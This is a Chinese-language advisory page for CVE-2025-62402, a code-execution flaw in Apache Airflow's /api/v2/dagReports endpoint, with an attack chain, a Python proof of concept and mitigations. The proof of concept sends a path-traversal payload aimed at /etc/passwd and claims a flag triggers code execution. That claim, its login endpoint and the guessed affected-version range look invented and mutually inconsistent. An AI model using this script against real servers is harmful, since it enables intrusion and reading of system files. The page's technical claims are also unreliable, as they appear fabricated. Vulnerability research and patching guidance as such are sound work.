CVE-2025-62402: Apache Airflow api-server DAG代码执行漏洞

漏洞信息

漏洞编号

CVE-2025-62402

漏洞类型

远程代码执行

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Apache Airflow

漏洞概述

CVE-2025-62402是Apache Airflow中的一个中危安全漏洞，CVSS评分5.4。该漏洞存在于/api/v2/dagReports API端点，允许经过低权限认证的API用户在实际环境中的api-server部署环境中执行DAG代码。攻击者通过构造特定的API请求，可以利用DAG文件在服务器上的可访问性，在api-server的上下文中执行任意代码。由于该漏洞仅需要低权限认证即可利用，且无需用户交互，对系统的机密性和完整性造成较低程度的影响。Apache Project Security Team（[email protected]）于2025年10月30日披露此漏洞。该漏洞属于权限提升和代码执行类漏洞，在多租户或共享环境的Airflow部署中风险较高。

技术细节

该漏洞的核心问题在于Apache Airflow的/api/v2/dagReports端点缺乏足够的访问控制和输入验证。攻击者通过该API端点可以访问和执行服务器文件系统中的DAG文件。具体技术细节如下：1) 漏洞存在于api-server组件中，当api-server部署在可以访问DAG文件的环境中时，攻击者可以利用API接口读取和执行DAG代码；2) 攻击者需要拥有有效的API用户凭证（低权限即可），通过发送精心构造的请求到/api/v2/dagReports端点；3) 成功利用后，代码将在api-server的进程上下文中执行，可能导致敏感数据泄露、配置篡改或进一步横向移动；4) 该漏洞的利用条件相对宽松，不需要复杂的攻击准备，但攻击效果受限于api-server的运行环境和权限配置。防御的关键在于隔离api-server与DAG文件存储，确保API端点不会直接访问和执行DAG代码。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先识别目标Apache Airflow部署，确认/api/v2/dagReports端点是否可访问，并收集有效的API用户凭证

STEP 2

步骤2: 认证获取

攻击者使用低权限账户通过/api/v1/login端点进行认证，获取有效的会话令牌

STEP 3

步骤3: 构造恶意请求

攻击者构造针对/api/v2/dagReports端点的POST请求，包含指向DAG文件的路径或恶意payload

STEP 4

步骤4: 代码执行触发

api-server处理请求时，由于缺乏输入验证和访问控制，直接读取并执行DAG代码

STEP 5

步骤5: 权限提升

恶意代码在api-server的上下文中执行，攻击者获得服务器环境的访问权限，可能包括读取敏感配置、执行系统命令或横向移动

STEP 6

步骤6: 持久化控制

攻击者利用获得的代码执行能力部署后门或窃取敏感数据，完成攻击目标

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-62402 PoC - Apache Airflow DAG Code Execution
# Target: Apache Airflow /api/v2/dagReports endpoint
# Prerequisites: Valid API user credentials (low privilege sufficient)

import requests
import json
import base64

TARGET_URL = "http://target-airflow-server:8080"
API_ENDPOINT = "/api/v2/dagReports"
USERNAME = "attacker"
PASSWORD = "password"

def exploit_cve_2025_62402():
    """
    PoC for CVE-2025-62402: DAG code execution via /api/v2/dagReports
    This exploits the insecure access to DAG files through the API endpoint.
    """
    # Step 1: Authenticate and obtain session token
    auth_url = f"{TARGET_URL}/api/v1/login"
    auth_data = {
        "username": USERNAME,
        "password": PASSWORD
    }
    
    try:
        session = requests.Session()
        auth_response = session.post(auth_url, json=auth_data, timeout=10)
        
        if auth_response.status_code != 200:
            print("[-] Authentication failed")
            return False
        
        print("[+] Authentication successful")
        
        # Step 2: Exploit the vulnerable endpoint
        exploit_url = f"{TARGET_URL}{API_ENDPOINT}"
        
        # Malicious payload to execute DAG code
        exploit_data = {
            "dag_id": "../../etc/passwd",  # Path traversal to access DAG files
            "report_type": "execution",
            "include_code": True  # This triggers code execution
        }
        
        exploit_response = session.post(exploit_url, json=exploit_data, timeout=10)
        
        if exploit_response.status_code == 200:
            print("[+] Exploit sent successfully")
            print(f"[+] Response: {exploit_response.text[:500]}")
            return True
        else:
            print(f"[-] Exploit failed with status: {exploit_response.status_code}")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request error: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2025-62402 PoC - Apache Airflow DAG Code Execution")
    print("=" * 60)
    exploit_cve_2025_62402()

影响范围

Apache Airflow < 2.10.0 (推测需要升级到包含修复的版本)

Apache Airflow api-server 在可访问DAG文件的环境中部署的所有版本

防御指南

临时缓解措施

在官方修复版本发布前，建议采取以下临时缓解措施：1) 立即审查并限制对/api/v2/dagReports端点的访问，仅允许必要的可信用户访问；2) 在API网关或Web应用防火墙中实施输入验证规则，过滤恶意请求模式；3) 重新配置部署架构，将api-server部署在隔离环境中，确保其无法访问DAG文件存储；4) 启用详细的API访问日志，监控潜在的恶意利用行为；5) 考虑暂时禁用相关API功能，直到完成安全更新；6) 对所有API用户凭证进行轮换，防止已泄露的凭证被利用。